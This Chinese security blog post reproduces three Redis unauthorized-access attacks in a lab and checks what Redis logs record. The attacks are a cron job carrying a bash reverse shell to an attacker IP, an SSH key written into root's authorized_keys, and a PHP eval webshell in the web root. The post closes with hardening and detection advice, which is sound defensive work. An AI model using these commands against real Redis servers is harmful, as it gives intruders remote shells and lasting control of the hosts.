Redis未授权访问漏洞利用手法及日志分析

admin 2024年1月11日12:19:32评论18 views字数 3099阅读10分19秒阅读模式

实验环境

靶机ip:172.29.67.73

攻击机:172.29.67.93

靶场搭建

wget https://download.redis.io/redis-stable.tar.gz #下载redis-最新稳定版本,当前稳定版本为7.2.3
tar -xzvf redis-stable.tar.gz #解压安装包
cd redis-stable # 进入redis目录
make #编译
执行 make test 命令,测试安装是否成功

出现以下提示信息,表示 Redis test 成功。

All tests passed without errors!

Redis未授权访问漏洞利用手法及日志分析

后台启动 redis-server 服务器端
nohup src/redis-server &
启动 redis-cli 客户端
src/redis-cli
redis日志相关配置

Redis未授权访问漏洞利用手法及日志分析

redis日志默认配置为logfile "" ,将日志发送到/dev/null,本地不会保存日志文件,需要修改配置

Redis的日志分为5个级别,默认的设置为notice

debug 会打印出很多信息,适用于开发和测试阶段
verbose(冗长的) 包含很多不太有用的信息,但比debug要清爽一些
notice 适用于生产模式
warning 仅记录非常重要/关键的消息
nothing 不记录任何内容

经测试,使用verbose和debug级别日志会记录登录机器ip端口信息,这里为测试环境变更为verbose,实际环境由于Redis的操作日志非常大且频繁地写入磁盘,因此在正式部署时应该合理控制日志的大小和保存周期,以避免影响性能和磁盘空间消耗。

Redis未授权访问漏洞利用手法及日志分析

启用redis日志审计功能
logfile "/var/log/redis/redis-server.log"
更新redis配置

1、新增redis日志目录

mkdir -p /var/log/redis

2、启用变更后的redis配置

pkill redis-server
nohup src/redis-server redis.conf &

Redis未授权访问漏洞利用手法及日志分析

因本地搭建靶场为最新稳定版本官方默认配置已增加网络访问限制,若要靶机未授权登录需要修改以下配置:

1、注释限制仅本地访问配置

#bind 127.0.0.1 -::1

2、修改protected-mode参数

protected-mode no

3、重启redis服务

redis攻击场景复现及分析

场景一:Redis未授权写入反弹连接定时任务

靶机nc开启7777端口监听:

nc -lvp 7777

利用未授权登录redis

redis-cli -h 172.29.67.73 -p 6379

写入反弹连接的任务

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/172.29.67.93/7777 0>&1nn"  #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

修改数据文件存储路径为 /var/spool/cron

config set dir /var/spool/cron/

此处可能出现报错:

Redis未授权访问漏洞利用手法及日志分析

Redis使用默认的强化安全配置指令来减少对无辜用户的攻击。因此,一些敏感的配置指令是不可变的,并且一些潜在的危险命令被阻止。控制Redis写入的文件(例如“dir”和“dbfilename”)以及在运行时通常不会修改的配置指令通过使其不可变来进行保护,需要修改配置参数 enable-protected-configs或者使用低版本redis(3.2.0以下)

 enable-protected-configs yes

Redis未授权访问漏洞利用手法及日志分析

修改保存的数据文件名为当前连接的服务器上当前的用户名

config set dbfilename root

save保存

save

Redis未授权访问漏洞利用手法及日志分析

Redis未授权访问漏洞利用手法及日志分析

成功写入定时任务

Redis未授权访问漏洞利用手法及日志分析

按照上述步骤修改完成可以看到反弹成功。但是ifconfig不能执行,可执行以下命令。

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

Redis未授权访问漏洞利用手法及日志分析

分析redis写入反弹连接定时任务操作并无可分析日志记录

Redis未授权访问漏洞利用手法及日志分析

场景二:Redis未授权写入公钥利用私钥登录ssh

本地生成一对密钥

ssh-keygen -t rsa

Redis未授权访问漏洞利用手法及日志分析

写入公钥

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "nnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxYJlvcyiw8ngVH34t3rEta7P2ZY4yH95svxWPLWL6fbdhyJNx6C2b7b7vLpSjaaHr1yAgByGn59xODIX53g9+D2QYhoENRhQpRooJwEMdMT8QvV+tVj4vv1EdidHiLHGHC/fMrOj1c5fwfZNzWYGDtg/xswWcPPHqv2ZFgI2u4J7rHbcUAcl0epQCE9cTc5mvhy5JQoK3NIZ1eE10jSpSKHYKcINYtdK91aoGxX6qZgRZWb22GSkWG6iH07gfRMa7p+UN6YDw5oCNeVZmFQ7iaeBaHMhiKkwUk1/2d6evH/aQhNqXjRri1rRzwsGtXyTQyB3bdCVuSQPyEiGJr5WV [email protected]"
save

Redis未授权访问漏洞利用手法及日志分析

成功写入公钥

Redis未授权访问漏洞利用手法及日志分析

利用公钥成功登录靶机

Redis未授权访问漏洞利用手法及日志分析

分析写入公钥操作并无可分析日志记录

Redis未授权访问漏洞利用手法及日志分析

场景三:Redis未授权写入webshell

一键部署phpStudy Linux

wget -O install.sh https://download.xp.cn/install.sh && sh install.sh

web根目录为/www/admin/localhost_80/wwwroot

写入webshell

config set dir /www/admin/localhost_80/wwwroot
set xx "nn<?php @eval($_POST['a']);?>nn"
config set dbfilename shell.php
save

Redis未授权访问漏洞利用手法及日志分析

成功写入webshell

Redis未授权访问漏洞利用手法及日志分析

菜刀连接webshell

Redis未授权访问漏洞利用手法及日志分析

分析写入webshell操作并无可分析日志记录

Redis未授权访问漏洞利用手法及日志分析

安全加固

参考官方安全建议Redis security | Redis

1、禁止外网访问Redis服务在redis.conf文件中,找到# bind 127.0.0.1,把前面的注释符号去掉,让其监听在本地。

2、设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass" 设置复杂密码 (需要重启Redis服务才能生效)。

3、升级Redis版本在Redis升级到3.2版本之后,新增了一个Protected-Mode参数,这个参数被启用后将禁止外网访问Redis,只能通过本地或者白名单中的IP进行访问。

4、禁用高危命令。修改 redis.conf 文件,添加如下内容来禁用远程修改 DB 文件地址rename-commandFLUSHALL ""  rename-command CONFIG ""  rename-command EVAL ""

总结

文章本想复现redis未授权getshell的几个场景来分析日志,但经过测试使用verbose和debug级别日志只能打印redis远程登录成功和失败日志,提供溯源,无法审计详细操作日志。(可能是对redis日志模块了解不够深,大佬勿喷)

利用redis未授权写入文件会有共同特征(写入redis版本信息),针对关键系统文件进行监控该特征可实现检测。

REDIS0011redis-ver7.2.3
redis-bits󿿀򳨭eΒused-memaof-base~󁷸

原文始发于微信公众号(企业安全实践):Redis未授权访问漏洞利用手法及日志分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日12:19:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权访问漏洞利用手法及日志分析https://cn-sec.com/archives/2383196.html

发表评论

匿名网友 填写信息